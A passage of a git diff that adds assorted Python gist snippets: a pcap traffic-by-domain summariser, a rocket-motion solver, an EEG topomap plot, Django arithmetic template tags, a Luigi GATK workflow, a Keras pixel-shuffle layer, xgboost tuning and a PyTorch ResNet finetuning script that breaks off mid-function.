+        conv[ip] += len(tcp.client.data[:tcp.client.count]) + len(tcp.server.data[:tcp.server.count])
+
+def udp_callback(addrs, payload, pkt):
+    if addrs[0][1] != 53:
+        return
+    dns = dpkt.dns.DNS(payload)
+    global ip_to_domain
+    for q in dns.qd:
+        domain = q.name
+        for a in dns.an:
+            try:
+                ip_to_domain[socket.inet_ntoa(a.ip)] = domain
+            except AttributeError:
+                pass
+    return
+
+def extract(pcap_file):
+    nids.param("tcp_workarounds", 1)
+    nids.param("scan_num_hosts", 0)          # disable portscan detection
+    nids.chksum_ctl([('0.0.0.0/0', False)])  # disable checksumming
+
+    nids.param("filename", pcap_file)
+    nids.init()
+    nids.register_tcp(handle_tcp_stream)
+    nids.register_udp(udp_callback)
+
+    try:
+        nids.run()
+    except Exception, e:
+        print "Exception ", pcap_file + " ", e
+    data = []
+    columns = ('name', 'bytes', 'human_bytes')
+    for ip, byte in conv.iteritems():
+        name = ip_to_domain[ip] if ip in ip_to_domain else ip
+        data.append([name, byte, humanfriendly.format_size(byte)])
+    df = pd.DataFrame(data, columns=columns)
+    df = df.sort('bytes', ascending=False)
+    return df
+
+if __name__ == "__main__":
+    print extract(sys.argv[1])
\ No newline at end of file
diff --git a/hard-gists/6d6bb834d48b9664b38d/._snippet.py b/hard-gists/6d6bb834d48b9664b38d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6d6bb834d48b9664b38d/._snippet.py differ
diff --git a/hard-gists/6d6bb834d48b9664b38d/snippet.py b/hard-gists/6d6bb834d48b9664b38d/snippet.py
new file mode 100644
index 00000000..9a2ccbff
--- /dev/null
+++ b/hard-gists/6d6bb834d48b9664b38d/snippet.py
@@ -0,0 +1,49 @@
+def numerical():
+    from scipy.integrate import odeint
+    from numpy import array
+
+    # [position, mass, velocity, mass flow]
+
+    def acceleration(y, t, v_exhaust=1.0):
+        return array([y[2], y[3], v_exhaust * y[3]/y[1], 0.0])
+
+    initial_state = array([0.0, 2.0, 0.0, -1.0])
+    solution = odeint(acceleration, initial_state, [i/10.0 for i in range(11)], args=(1.0,))
+
+    print solution
+
+def symbolic():
+    from sympy import symbols, integrate
+
+    m, n, t, v_exhaust = symbols('m n t v_exhaust')
+    acceleration = -v_exhaust * n / (m - n*t)
+
+    velocity = integrate(acceleration, (t, 0, t))
+    position = integrate(velocity, (t, 0, t))
+
+    params = {m: 2.0, n: 1.0, v_exhaust: 1.0}
+    v = velocity.subs(params)
+    p = position.subs(params)
+
+    solution = [(p.subs({t: i/10.0}).evalf(), v.subs({t: i/10.0}).evalf()) for i in range(11)]
+    print '\n'.join(map(str, solution))
+
+def analytical():
+    from math import log
+
+    v_exhaust = 1.0
+    m = 2.0
+    n = 1.0
+
+    def velocity(t):
+        return v_exhaust * log((m - n*t) / m)
+
+    def position(t):
+        return -(v_exhaust / n) * ((m-n*t) * log((m-n*t) / m) + n*t)
+
+    solution = ((position(i/10.0), velocity(i/10.0)) for i in range(11))
+    print '\n'.join(map(str, solution))
+
+numerical()
+symbolic()
+analytical()
diff --git a/hard-gists/6d7c78ea329d4e9e1217/._snippet.py b/hard-gists/6d7c78ea329d4e9e1217/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6d7c78ea329d4e9e1217/._snippet.py differ
diff --git a/hard-gists/6d7c78ea329d4e9e1217/snippet.py b/hard-gists/6d7c78ea329d4e9e1217/snippet.py
new file mode 100644
index 00000000..7dcdce81
--- /dev/null
+++ b/hard-gists/6d7c78ea329d4e9e1217/snippet.py
@@ -0,0 +1,32 @@
+# Python
+import mne
+import numpy as np
+from matplotlib import pyplot as plt
+
+# Channel positions
+ch_names = ['A1', 'A2', 'A3', 'A4', 'A5', 'A6', 'A7', 'A8', 'A9', 'A10', 'A11', 'A12', 'A13', 'A14', 'A15', 'A16', 'A17', 'A18', 'A19', 'A20', 'A21', 'A22', 'A23', 'A24', 'A25', 'A26', 'A27', 'A28', 'A29', 'A30', 'A31', 'A32', 'B1', 'B2', 'B3', 'B4', 'B5', 'B6', 'B7', 'B8', 'B9', 'B10', 'B11', 'B12', 'B13', 'B14', 'B15', 'B16', 'B17', 'B18', 'B19', 'B20', 'B21', 'B22', 'B23', 'B24', 'B25', 'B26', 'B27', 'B28', 'B29', 'B30', 'B31', 'B32', 'C1', 'C2', 'C3', 'C4', 'C5', 'C6', 'C7', 'C8', 'C9', 'C10', 'C11', 'C12', 'C13', 'C14', 'C15', 'C16', 'C17', 'C18', 'C19', 'C20', 'C21', 'C22', 'C23', 'C24', 'C25', 'C26', 'C27', 'C28', 'C29', 'C30', 'C31', 'C32', 'D1', 'D2', 'D3', 'D4', 'D5', 'D6', 'D7', 'D8', 'D9', 'D10', 'D11', 'D12', 'D13', 'D14', 'D15', 'D16', 'D17', 'D18', 'D19', 'D20', 'D21', 'D22', 'D23', 'D24', 'D25', 'D26', 'D27', 'D28', 'D29', 'D30', 'D31', 'D32']
+montage = mne.channels.read_montage('biosemi128')
+info = mne.create_info(ch_names, 100, 'eeg', montage)
+
+# EEG data
+temp = [-0.00054827592108, 0.031668073094, 0.0704223162929, 0.0865540229014, 0.085150043403, 0.0457380793299, 0.0509495732895, 0.0987022550764, 0.0801886633895, 0.04976969651, 0.00614093831533, -0.0373887332355, -0.0197260623702, -0.000444422313751, 0.0248963507643, 0.0589171499815, 0.0717817674042, 0.0787944587508, 0.130753138626, 0.124899705387, 0.0975269669664, 0.0419575393272, -0.00793216362559, -0.0151265531253, -0.0348081764706, 0.0215552729428, 0.0249141780785, 0.0655540808354, 0.108124467678, 0.124820721722, 0.146384148659, 0.140718598747, 0.0199164974076, 0.0571570915027, 0.0876578355539, 0.0923016839654, 0.133136594185, 0.152798531971, 0.122602552914, 0.0714821347463, 0.0537612111322, 0.0469385417282, 0.0740553145655, 0.0915974711193, 0.0743604227044, 0.0110220331254, 0.0234080078001, 0.0325478142343, 0.0477724066775, 0.047792830146, 0.0666905921563, 0.0189050684572, 0.00897804762235, 0.0227890832216, 0.0197423673457, -0.00454527858583, -0.00615177981404, -0.0201675075456, -0.0920040702005, -0.0464443873328, -0.0414552367577, -0.0531930278853, -0.0307912429832, -0.0412551750461, -0.0123007168696, -0.0112167955503, -0.0542948025463, -0.0857190408132, -0.0771482839, -0.113035664, -0.124491501499, -0.122871051658, -0.10429939481, -0.0749259731853, -0.0494703403965, -0.0760484386394, -0.0866986470174, -0.108261995558, -0.103236351804, -0.0826894600891, -0.114552515316, -0.0938510344287, -0.0872763177219, -0.0658120109097, -0.109361027459, -0.0545709142688, -0.0465159668016, -0.0374219872666, -0.0657419626256, -0.0692102438198, -0.0685479219719, -0.0770634783383, -0.0872426401117, -0.0666948763193, -0.0573920809363, -0.0800195158044, -0.0249282154474, -0.0257314683258, -0.0342883027284, -0.0602967350127, -0.0379301562186, -0.0422883555211, -0.0357673248702, -0.00463023885605, -0.0154207203639, -0.0236424654065, -0.00446259655858, 0.00180786601789, -0.000400985259411, 0.000962388449819, 0.0113404811841, 0.0430510059066, 0.0267019564535, -0.00120974681118, 0.00317540453295, 0.00662862089829, -0.0460368212177, -0.0417816042596, 0.00620115910578, -0.0218318617073, -0.0349000304808, -0.0231747760115, 0.0320176071901, 0.00236553571098, 0.0207500486866, 0.0235998503673, -0.00664424438941, -0.0175665711621]
+
+evoked = mne.EvokedArray(np.atleast_2d(temp).T, info, 0)
+
+l = mne.channels.make_eeg_layout(info)
+
+# Make topomap plots
+plt.figure()
+ax1 = plt.subplot(1, 3, 1)
+evoked.plot_topomap(0, axes=ax1, contours=None, colorbar=False)
+plt.title('default')
+
+ax2 = plt.subplot(1, 3, 2)
+evoked.plot_topomap(0, axes=ax2, contours=None, colorbar=False, outlines='skirt')
+plt.title('with skirt')
+
+ax3 = plt.subplot(1, 3, 3)
+evoked.plot_topomap(0, axes=ax3, contours=None, colorbar=False, outlines='skirt',
+                    head_pos={'center': [0, 0], 'scale': [0.31, 0.312]})
+                    #head_pos={'center': [0.495, 0.53], 'scale': [1.05, 1.175]})
+plt.title('skirt and\naccurate headsize')
diff --git a/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/._snippet.py b/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/._snippet.py differ
diff --git a/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/snippet.py b/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/snippet.py
new file mode 100644
index 00000000..d7a74092
--- /dev/null
+++ b/hard-gists/6d94b7d06f7ed9d8bfc4985b094bf6d4/snippet.py
@@ -0,0 +1,119 @@
+from django.utils.encoding import force_text
+from django.template.base import TemplateSyntaxError
+from django.template.library import Library, Node
+
+register = Library()
+
+
+@register.simple_tag
+def assign(value):
+    '''
+    Examples:
+       {% assign 'A value' as a_variable %}
+       {% assign another_variable as a_variable %}
+
+    '''
+    return value
+
+
+@register.tag
+def modify(parser, token):
+    '''
+    Examples:
+        {% modify a_variable += a_value %}
+        {% modify a_variable += ' hello' %}
+        {% modify a_variable *= 2 %}
+
+    Available operators: += -= *= /= %= //= **= <<= >>= &= |=
+    '''
+    parts = token.split_contents()
+    if len(parts) < 2:
+        raise TemplateSyntaxError("'modify' statements should have four words: %s" % token.contents)
+
+    var_name, op, value = parts[1:4]
+    value = parser.compile_filter(value)
+
+    class OpNode(Node):
+        child_nodelists = tuple()
+
+        def add(self, context): context[var_name] += value.resolve(context)
+        def sub(self, context): context[var_name] -= value.resolve(context)
+        def mul(self, context): context[var_name] *= value.resolve(context)
+        def div(self, context): context[var_name] /= value.resolve(context)
+        def mod(self, context): context[var_name] %= value.resolve(context)
+        def floordiv(self, context): context[var_name] //= value.resolve(context)
+        def pow(self, context): context[var_name] **= value.resolve(context)
+        def lhs(self, context): context[var_name] <<= value.resolve(context)
+        def rhs(self, context): context[var_name] >>= value.resolve(context)
+        def bin_and(self, context): context[var_name] &= value.resolve(context)
+        def bin_or(self, context): context[var_name] |= value.resolve(context)
+
+        def render(self, context):
+            {
+                '+=': self.add,
+                '-=': self.sub,
+                '*=': self.mul,
+                '/=': self.div,
+                '%=': self.mod,
+                '//=': self.floordiv,
+                '**=': self.pow,
+                '<<=': self.lhs,
+                '>>=': self.rhs,
+                '&=': self.bin_and,
+                '|=': self.bin_or,
+            }[op](context)
+
+            return ''
+
+    return OpNode()
+
+
+@register.tag
+def operate(parser, token):
+    '''
+    Examples:
+        {% operate a + b - 1 %}
+        {% operate a * 2 as result %}
+        {% operate ( a + b ) /2 as the_average %}
+        {% operate s|stringformat:'%04d' + ' my-suffix' as string_operations %}
+
+    -> Expressions with python operators
+    -> Only one constraint: embed with spaces the variables and the sub-expressions with filters,
+                            do not glue variables, operators, and string litterals
+       but operators and numbers litterals can be glued as that: ( v +4)
+    '''
+    parts = token.split_contents()
+    target_var = None
+    if parts[-2] == 'as':
+        target_var = parts[-1]
+        parts = parts[:-2]
+
+    expression_parts = []
+    vars = dict()
+
+    for part in parts[1:]:
+        if (part[0] in '+-*/%~<>=()&|!0123456789"\'') or (part in ('and', 'or')):
+            expression_parts.append(part)
+            continue
+
+        var_name = 'v%d' % len(vars)
+        expression_parts.append(var_name)
+
+        vars[var_name] = parser.compile_filter(part)
+
+    expression = ' '.join(expression_parts)
+
+    class ExprNode(Node):
+        child_nodelists = tuple()
+
+        def render(self, context):
+            res = eval(expression, { k: var.resolve(context) for k, var in vars.items() })
+
+            if target_var is None:
+                return force_text(res)
+
+            context[target_var] = res
+
+            return ''
+
+    return ExprNode()
diff --git a/hard-gists/6da9a7c1e03912fde62e/._snippet.py b/hard-gists/6da9a7c1e03912fde62e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6da9a7c1e03912fde62e/._snippet.py differ
diff --git a/hard-gists/6da9a7c1e03912fde62e/snippet.py b/hard-gists/6da9a7c1e03912fde62e/snippet.py
new file mode 100644
index 00000000..456c2804
--- /dev/null
+++ b/hard-gists/6da9a7c1e03912fde62e/snippet.py
@@ -0,0 +1,142 @@
+import luigi
+from luigis_monkey_wrench import *
+
+REF='human_17_v37.fasta'
+INDIVIDUALS=['NA06984','NA07000']
+SAMPLES=['1','2']
+BASENAME='.ILLUMINA.low_coverage.17q_'
+PICARDDIR='/sw/apps/bioinfo/picard/1.69/kalkyl/'
+KNOWNSITES='/proj/g2014207/labs/gatk/ALL.chr17.phase1_integrated_calls.20101123.snps_indels_svs.genotypes.vcf'
+
+class GATKWorkflow(WorkflowTask):
+
+    def requires(self):
+        for i in INDIVIDUALS:
+            # Workflow definition
+            # ---------------------------------------------------------------------------------
+            # files() will return a pseudo task that just outputs an existing file,
+            #         while not running anything.
+            # shell() will create a new task with a command that can take inputs
+            #         and outputs.
+            fq1 = file('fastq:{i}/{i}{b}1.fq'.format(i=i,b=BASENAME))
+            fq2 = file('fastq:{i}/{i}{b}2.fq'.format(i=i,b=BASENAME))
+
+            # Step 2 in [1]--------------------------------------------------------------------
+            aln1 = shell('bwa aln {ref} <i:fastq> > <o:sai:<i:fastq>.sai>'.format(ref=REF))
+            aln1.inports['fastq'] = fq1.outport('fastq')
+
+            aln2 = shell('bwa aln {ref} <i:fastq> > <o:sai:<i:fastq>.sai>'.format(ref=REF))
+            aln2.inports['fastq'] = fq2.outport('fastq')
+
+            # Step 3 in [1]--------------------------------------------------------------------
+            merg = shell('bwa sampe {ref} <i:sai1> <i:sai2> <i:fq1> <i:fq2> > <o:merged:{i}/{i}{b}.merged.sam>'.format(
+                ref=REF,
+                i=i,
+                b=BASENAME))
+            merg.inports['sai1'] = aln1.outport('sai')
+            merg.inports['sai2'] = aln2.outport('sai')
+            merg.inports['fq1'] = fq1.outport('fastq')
+            merg.inports['fq2'] = fq2.outport('fastq')
+
+            # Step 4a in [1]------------------------------------------------------------------
+            mergbam = shell('''
+            java -Xmx2g -jar {p}/AddOrReplaceReadGroups.jar
+                INPUT=<i:sam>
+                OUTPUT=<o:bam:<i:sam>.bam>
+                SORT_ORDER=coordinate
+                RGID={sample}-id
+                RGLB={sample}-lib
+                RGPL=ILLUMINA
+                RGPU={sample}-01
+                RGSM={sample}
+            '''.format(
+                 p=PICARDDIR,
+                 sample=i))
+            mergbam.inports['sam'] = merg.outport('merged')
+
+            # Step 4b in [1] -----------------------------------------------------------------
+            index_mergbam = shell('''
+            java -Xmx2g -jar
+                /sw/apps/bioinfo/picard/1.69/kalkyl/BuildBamIndex.jar
+                INPUT=<i:bamr
+                # <o:bai:<i:bam:.bam|.bai>>
+            ''')
+            index_mergbam.inports['bam'] = mergbam.outport('bam')
+
+            # Step 5a in [1]------------------------------------------------------------------
+            local_realign = shell('''
+            java -Xmx2g -jar /sw/apps/bioinfo/GATK/1.5.21/GenomeAnalysisTK.jar
+                -I <i:bam>
+                -R {ref}
+                -T RealignerTargetCreator
+                -o <o:intervals:<i:bam>.intervals>
+            '''.format(
+               ref=REF))
+            local_realign.inports['bam'] = mergbam.outport('bam')
+
+            # Step 5b in [1]-----------------------------------------------------------------
+            actual_realign = shell('''
+            java -Xmx2g -jar /sw/apps/bioinfo/GATK/1.5.21/GenomeAnalysisTK.jar
+                -I <i:bam>
+                -R {ref}
+                -T IndelRealigner
+                -o <o:realigned_bam:<i:intervals>.realign.bam>
+                -targetIntervals <i:intervals>
+                # <o:realigned_bai:<i:intervals>.realign.bai>
+            '''.format(
+                ref=REF))
+            actual_realign.inports['bam'] = mergbam.outport('bam')
+            actual_realign.inports['intervals'] = local_realign.outport('intervals')
+
+            # Step 5c in [1]-----------------------------------------------------------------
+            mark_dupes = shell('''
+            java -Xmx2g -jar /sw/apps/bioinfo/picard/1.69/kalkyl/MarkDuplicates.jar '
+                INPUT=<i:bam> '
+                OUTPUT=<o:marked_bam:<i:bam>.marked.bam> '
+                METRICS_FILE=<o:metrics:<i:bam>.marked.metrics>
+            ''')
+            mark_dupes.inports['bam'] = actual_realign.outport('realigned_bam')
+
+            # Step 5d in [1], Index bam (picard does not do that automatically)---------------
+            index_marked_bam = shell(('java -Xmx2g -jar /sw/apps/bioinfo/picard/1.69/kalkyl/BuildBamIndex.jar '
+                                 'INPUT=<i:bam> '
+                                 '# <o:bai:<i:bam:.bam|.bai>>'))
+            index_marked_bam.inports['bam'] = mark_dupes.outport('marked_bam')
+
+            # Step 5e in [1], quality recalibration with GATK---------------------------------
+            count_covar = shell('''
+            java -Xmx2g -jar /sw/apps/bioinfo/GATK/1.5.21/GenomeAnalysisTK.jar
+                -T CountCovariates -I <i:bam>
+                -R {ref}
+                -knownSites {sites}
+                -cov ReadGroupCovariate
+                -cov CycleCovariate
+                -cov DinucCovariate
+                -cov QualityScoreCovariate
+                -recalFile <o:covariate:<i:bam>.covar>
+            '''.format(
+                ref=REF,
+                sites=KNOWNSITES))
+            count_covar.inports['bam'] = mark_dupes.outport('marked_bam')
+
+            # Step 5f in [1]-----------------------------------------------------------------
+            table_recalib = shell('''
+            java -Xmx2g -jar /sw/apps/bioinfo/GATK/1.5.21/GenomeAnalysisTK.jar
+                -T TableRecalibration
+                -I <i:bam>
+                -R {ref}
+                -recalFile <i:calib>
+                -o <o:calibrated_bam:<i:calib>.bam>
+            '''.format(ref=REF))
+            table_recalib.inports['bam'] = mark_dupes.outport('marked_bam')
+            table_recalib.inports['calib'] = count_covar.outport('covariate')
+
+            yield table_recalib
+
+
+if __name__ == '__main__':
+    luigi.run()
+
+# REFERENCES
+# ----------
+# [1] http://uppnex.se/twiki/do/view/Courses/NgsIntro1502/ResequencingAnalysis
\ No newline at end of file
diff --git a/hard-gists/6e1016cc188104d123676ccef3264981/._snippet.py b/hard-gists/6e1016cc188104d123676ccef3264981/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6e1016cc188104d123676ccef3264981/._snippet.py differ
diff --git a/hard-gists/6e1016cc188104d123676ccef3264981/snippet.py b/hard-gists/6e1016cc188104d123676ccef3264981/snippet.py
new file mode 100644
index 00000000..d23f3830
--- /dev/null
+++ b/hard-gists/6e1016cc188104d123676ccef3264981/snippet.py
@@ -0,0 +1,84 @@
+from keras.utils import conv_utils
+from keras.engine.topology import Layer
+import keras.backend as K
+
+
+class PixelShuffler(Layer):
+    def __init__(self, size=(2, 2), data_format=None, **kwargs):
+        super(PixelShuffler, self).__init__(**kwargs)
+        self.data_format = conv_utils.normalize_data_format(data_format)
+        self.size = conv_utils.normalize_tuple(size, 2, 'size')
+
+    def call(self, inputs):
+
+        input_shape = K.int_shape(inputs)
+        if len(input_shape) != 4:
+            raise ValueError('Inputs should have rank ' +
+                             str(4) +
+                             '; Received input shape:', str(input_shape))
+
+        if self.data_format == 'channels_first':
+            batch_size, c, h, w = input_shape
+            if batch_size is None:
+                batch_size = -1
+            rh, rw = self.size
+            oh, ow = h * rh, w * rw
+            oc = c // (rh * rw)
+
+            out = K.reshape(inputs, (batch_size, rh, rw, oc, h, w))
+            out = K.permute_dimensions(out, (0, 3, 4, 1, 5, 2))
+            out = K.reshape(out, (batch_size, oc, oh, ow))
+            return out
+
+        elif self.data_format == 'channels_last':
+            batch_size, h, w, c = input_shape
+            if batch_size is None:
+                batch_size = -1
+            rh, rw = self.size
+            oh, ow = h * rh, w * rw
+            oc = c // (rh * rw)
+
+            out = K.reshape(inputs, (batch_size, h, w, rh, rw, oc))
+            out = K.permute_dimensions(out, (0, 1, 3, 2, 4, 5))
+            out = K.reshape(out, (batch_size, oh, ow, oc))
+            return out
+
+    def compute_output_shape(self, input_shape):
+
+        if len(input_shape) != 4:
+            raise ValueError('Inputs should have rank ' +
+                             str(4) +
+                             '; Received input shape:', str(input_shape))
+
+        if self.data_format == 'channels_first':
+            height = input_shape[2] * self.size[0] if input_shape[2] is not None else None
+            width = input_shape[3] * self.size[1] if input_shape[3] is not None else None
+            channels = input_shape[1] // self.size[0] // self.size[1]
+
+            if channels * self.size[0] * self.size[1] != input_shape[1]:
+                raise ValueError('channels of input and size are incompatible')
+
+            return (input_shape[0],
+                    channels,
+                    height,
+                    width)
+
+        elif self.data_format == 'channels_last':
+            height = input_shape[1] * self.size[0] if input_shape[1] is not None else None
+            width = input_shape[2] * self.size[1] if input_shape[2] is not None else None
+            channels = input_shape[3] // self.size[0] // self.size[1]
+
+            if channels * self.size[0] * self.size[1] != input_shape[3]:
+                raise ValueError('channels of input and size are incompatible')
+
+            return (input_shape[0],
+                    height,
+                    width,
+                    channels)
+
+    def get_config(self):
+        config = {'size': self.size,
+                  'data_format': self.data_format}
+        base_config = super(PixelShuffler, self).get_config()
+
+        return dict(list(base_config.items()) + list(config.items()))
diff --git a/hard-gists/6e20dba959277bd9af77/._snippet.py b/hard-gists/6e20dba959277bd9af77/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6e20dba959277bd9af77/._snippet.py differ
diff --git a/hard-gists/6e20dba959277bd9af77/snippet.py b/hard-gists/6e20dba959277bd9af77/snippet.py
new file mode 100644
index 00000000..6f008017
--- /dev/null
+++ b/hard-gists/6e20dba959277bd9af77/snippet.py
@@ -0,0 +1,53 @@
+# http://www.dataiku.com/blog/2015/08/24/xgboost_and_dss.html
+
+import dataiku
+import pandas as pd, numpy as np
+from dataiku import pandasutils as pdu
+from sklearn.metrics import roc_auc_score
+import xgboost as xgb
+from hyperopt import hp, fmin, tpe, STATUS_OK, Trials 
+
+train = dataiku.Dataset("train").get_dataframe()
+valid = dataiku.Dataset("valid").get_dataframe()
+
+y_train = train.target
+y_valid = valid.target
+
+del train["target"]
+del valid["target"]
+
+def objective(space):
+
+    clf = xgb.XGBClassifier(n_estimators = 10000, 
+                            max_depth = space['max_depth'],
+                            min_child_weight = space['min_child_weight'],
+                            subsample = space['subsample'])
+
+    eval_set  = [( train, y_train), ( valid, y_valid)]
+
+    clf.fit(train[col_train], y_train,
+            eval_set=eval_set, eval_metric="auc", 
+            early_stopping_rounds=30)
+
+    pred = clf.predict_proba(valid)[:,1]
+    auc = roc_auc_score(y_valid, pred)
+    print "SCORE:", auc
+
+    return{'loss':1-auc, 'status': STATUS_OK }
+
+
+space ={
+        'max_depth': hp.quniform("x_max_depth", 5, 30, 1),
+        'min_child_weight': hp.quniform ('x_min_child', 1, 10, 1),
+        'subsample': hp.uniform ('x_subsample', 0.8, 1)
+    }
+
+
+trials = Trials()
+best = fmin(fn=objective,
+            space=space,
+            algo=tpe.suggest,
+            max_evals=100,
+            trials=trials)
+
+print best
\ No newline at end of file
diff --git a/hard-gists/6e41e8512c17eae5da50aebef3378a4c/._snippet.py b/hard-gists/6e41e8512c17eae5da50aebef3378a4c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6e41e8512c17eae5da50aebef3378a4c/._snippet.py differ
diff --git a/hard-gists/6e41e8512c17eae5da50aebef3378a4c/snippet.py b/hard-gists/6e41e8512c17eae5da50aebef3378a4c/snippet.py
new file mode 100644
index 00000000..e310e048
--- /dev/null
+++ b/hard-gists/6e41e8512c17eae5da50aebef3378a4c/snippet.py
@@ -0,0 +1,254 @@
+import argparse
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+from torch.utils.data import DataLoader
+
+import torchvision
+import torchvision.transforms as T
+from torchvision.datasets import ImageFolder
+
+"""
+Example PyTorch script for finetuning a ResNet model on your own data.
+
+For this example we will use a tiny dataset of images from the COCO dataset.
+We have chosen eight types of animals (bear, bird, cat, dog, giraffe, horse,
+sheep, and zebra); for each of these categories we have selected 100 training
+images and 25 validation images from the COCO dataset. You can download and
+unpack the data (176 MB) by running:
+
+wget cs231n.stanford.edu/coco-animals.zip
+unzip coco-animals.zip
+rm coco-animals.zip
+
+The training data is stored on disk; each category has its own folder on disk
+and the images for that category are stored as .jpg files in the category folder.
+In other words, the directory structure looks something like this:
+
+coco-animals/
+  train/
+    bear/
+      COCO_train2014_000000005785.jpg
+      COCO_train2014_000000015870.jpg
+      [...]
+    bird/
+    cat/
+    dog/
+    giraffe/
+    horse/
+    sheep/
+    zebra/
+  val/
+    bear/
+    bird/
+    cat/
+    dog/
+    giraffe/
+    horse/
+    sheep/
+    zebra/
+"""
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--train_dir', default='coco-animals/train')
+parser.add_argument('--val_dir', default='coco-animals/val')
+parser.add_argument('--batch_size', default=32, type=int)
+parser.add_argument('--num_workers', default=4, type=int)
+parser.add_argument('--num_epochs1', default=10, type=int)
+parser.add_argument('--num_epochs2', default=10, type=int)
+parser.add_argument('--use_gpu', action='store_true')
+
+IMAGENET_MEAN = [0.485, 0.456, 0.406]
+IMAGENET_STD = [0.229, 0.224, 0.225]
+
+
+def main(args):
+  # Figure out the datatype we will use; this will determine whether we run on
+  # CPU or on GPU. Run on GPU by adding the command-line flag --use_gpu
+  dtype = torch.FloatTensor
+  if args.use_gpu:
+    dtype = torch.cuda.FloatTensor
+
+  # Use the torchvision.transforms package to set up a transformation to use
+  # for our images at training time. The train-time transform will incorporate
+  # data augmentation and preprocessing. At training time we will perform the
+  # following preprocessing on our images:
+  # (1) Resize the image so its smaller side is 256 pixels long
+  # (2) Take a random 224 x 224 crop to the scaled image
+  # (3) Horizontally flip the image with probability 1/2
+  # (4) Convert the image from a PIL Image to a Torch Tensor
+  # (5) Normalize the image using the mean and variance of each color channel
+  #     computed on the ImageNet dataset.
+  train_transform = T.Compose([
+    T.Scale(256),
+    T.RandomSizedCrop(224),
+    T.RandomHorizontalFlip(),
+    T.ToTensor(),            
+    T.Normalize(mean=IMAGENET_MEAN, std=IMAGENET_STD),
+  ])
+  
+  # You load data in PyTorch by first constructing a Dataset object which
+  # knows how to load individual data points (images and labels) and apply a
+  # transform. The Dataset object is then wrapped in a DataLoader, which iterates
+  # over the Dataset to construct minibatches. The num_workers flag to the
+  # DataLoader constructor is the number of background threads to use for loading
+  # data; this allows dataloading to happen off the main thread. You can see the
+  # definition for the base Dataset class here:
+  # https://github.com/pytorch/pytorch/blob/master/torch/utils/data/dataset.py
+  #
+  # and you can see the definition for the DataLoader class here:
+  # https://github.com/pytorch/pytorch/blob/master/torch/utils/data/dataloader.py#L262
+  #
+  # The torchvision package provides an ImageFolder Dataset class which knows
+  # how to read images off disk, where the image from each category are stored
+  # in a subdirectory.
+  #
+  # You can read more about the ImageFolder class here:
+  # https://github.com/pytorch/vision/blob/master/torchvision/datasets/folder.py
+  train_dset = ImageFolder(args.train_dir, transform=train_transform)
+  train_loader = DataLoader(train_dset,
+                    batch_size=args.batch_size,
+                    num_workers=args.num_workers,
+                    shuffle=True)
+
+  # Set up a transform to use for validation data at test-time. For validation
+  # images we will simply resize so the smaller edge has 224 pixels, then take
+  # a 224 x 224 center crop. We will then construct an ImageFolder Dataset object
+  # for the validation data, and a DataLoader for the validation set.
+  val_transform = T.Compose([
+    T.Scale(224),
+    T.CenterCrop(224),
+    T.ToTensor(),
+    T.Normalize(mean=IMAGENET_MEAN, std=IMAGENET_STD),
+  ])
+  val_dset = ImageFolder(args.val_dir, transform=val_transform)
+  val_loader = DataLoader(val_dset,
+                  batch_size=args.batch_size,
+                  num_workers=args.num_workers)
+
+  # Now that we have set up the data, it's time to set up the model.
+  # For this example we will finetune a ResNet-18 model which has been
+  # pretrained on ImageNet. We will first reinitialize the last layer of the
+  # model, and train only the last layer for a few epochs. We will then finetune
+  # the entire model on our dataset for a few more epochs.
+
+  # First load the pretrained ResNet-18 model; this will download the model
+  # weights from the web the first time you run it.
+  model = torchvision.models.resnet18(pretrained=True)
+
+  # Reinitialize the last layer of the model. Each pretrained model has a
+  # slightly different structure, but from the ResNet class definition
+  # we see that the final fully-connected layer is stored in model.fc:
+  # https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py#L111
+  num_classes = len(train_dset.classes)
+  model.fc = nn.Linear(model.fc.in_features, num_classes)
+
+  # Cast the model to the correct datatype, and create a loss function for
+  # training the model.
+  model.type(dtype)
+  loss_fn = nn.CrossEntropyLoss().type(dtype)
+
+  # First we want to train only the reinitialized last layer for a few epochs.
+  # During this phase we do not need to compute gradients with respect to the
+  # other weights of the model, so we set the requires_grad flag to False for
+  # all model parameters, then set requires_grad=True for the parameters in the
+  # last layer only.
+  for param in model.parameters():
+    param.requires_grad = False
+  for param in model.fc.parameters():
+    param.requires_grad = True
+
+  # Construct an Optimizer object for updating the last layer only.
+  optimizer = torch.optim.Adam(model.fc.parameters(), lr=1e-3)
+
+  # Update only the last layer for a few epochs.
+  for epoch in range(args.num_epochs1):
+    # Run an epoch over the training data.
+    print('Starting epoch %d / %d' % (epoch + 1, args.num_epochs1))
+    run_epoch(model, loss_fn, train_loader, optimizer, dtype)
+
+    # Check accuracy on the train and val sets.
+    train_acc = check_accuracy(model, train_loader, dtype)
+    val_acc = check_accuracy(model, val_loader, dtype)
+    print('Train accuracy: ', train_acc)
+    print('Val accuracy: ', val_acc)
+    print()
+
+  # Now we want to finetune the entire model for a few epochs. To do thise we
+  # will need to compute gradients with respect to all model parameters, so
+  # we flag all parameters as requiring gradients.
+  for param in model.parameters():
+    param.requires_grad = True
+  
+  # Construct a new Optimizer that will update all model parameters. Note the
+  # small learning rate.
+  optimizer = torch.optim.Adam(model.parameters(), lr=1e-5)
+
+  # Train the entire model for a few more epochs, checking accuracy on the
+  # train and validation sets after each epoch.
+  for epoch in range(args.num_epochs2):
+    print('Starting epoch %d / %d' % (epoch + 1, args.num_epochs2))
+    run_epoch(model, loss_fn, train_loader, optimizer, dtype)
+
+    train_acc = check_accuracy(model, train_loader, dtype)
+    val_acc = check_accuracy(model, val_loader, dtype)
+    print('Train accuracy: ', train_acc)
